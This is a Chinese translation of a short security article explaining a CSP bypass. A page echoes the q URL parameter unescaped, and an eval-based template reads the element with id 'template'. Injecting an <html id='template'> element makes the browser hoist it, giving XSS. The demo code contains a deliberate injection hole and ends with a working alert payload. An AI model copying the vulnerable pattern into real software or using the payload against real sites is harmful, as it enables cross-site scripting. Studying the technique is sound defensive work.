先讓我們看看如下這個web應用示例:
<html>
<meta http−equiv="Content−Security−Policy"
content="script−src 'nonce−...' 'unsafe−eval'">
<div id="template_target"></div>
<script type="application/template" id="template">
Hello World! 1 + 1 = {{ 1 + 1 }}
</script>
Your search is <?php echo $_GET['q']; ?>
<script nonce="...">
let template = document.getElementById('template');
template_target.innerHTML = template.innerText.replace(/{{(.∗)}}/g,eval)
</script>
</html>
以上這段簡單的HTML程式碼可能反映了現在滲透測試人員經常碰到的範本化Web應用。某些範本內容存儲在Web頁面中,然後再轉換為HTML程式碼的一部分。上段程式碼中含有id為template的HTML元素內容先被讀取,然後再執行{{}}括弧內的內容,最後在某個單獨HTML元素中呈現出來。
template
{{}}
Hello World! 1 + 1 = 2
Your search is ...........
其次,這段程式碼應用程序會在頁面上列印URL中的參數值。這顯而易見是一個XSS漏洞,但由於CSP(內容安全性原則)的存在,攻擊者並不能直接執行javascript。雖然直接運行javascript的路被堵死,但是我們可以找到其他繞過方法。
乍一看,貌似eval函數是一個可以利用的點,我們或許可以直接插入某些特製程式碼,讓eval函數去執行。
eval
eval
為了實現這點,我們必須插入HTML元素中id為template的程式碼。但在我們插入語句的前面已有id為template的HTML元素,而document.getElementById('template')只會去獲取第一個HTML元素,並不是我們所輸入的語句。
template
template
document.getElementById('template')
<div id="template">First Tag</div>
{% for tag in tag_list %}
<{{tag}} id="template">{{tag}}</{{tag}}>
{% endfor %}
<script>console.log(document.getElementById('template'));</script>
當程式運行完畢時,我得到一個奇怪的結果:當輪到<html>時,頁面結構似乎發生了大變,此時已不再是<div>排在前面。讓我們看下當插入<html id=“template”>時的變化:
<html>
<div>
<html id="template">
此時<html>已排在檔案頂部(在我所測試的所有瀏覽器中都是如此!),現在getElementById('template')將獲取<html>中的惡意數據,而不是<div>的內容。
<html>
getElementById('template')
<html>
<div>
只需簡單的?q=<html id=“template”>{{ alert(“xss”)}}</html>就可進行攻擊
?q=<html id="template">{{ alert("xss") }}</html>
最終,由於瀏覽器這個“莫名其妙”的特性,我們繞過了CSP成功進行了XSS攻擊!
本文由白帽汇整理并翻译,不代表白帽汇任何观点和立场
来源:https://pagedout.institute/download/PagedOut_001_beta1.pdf(该PDF文档的第62页)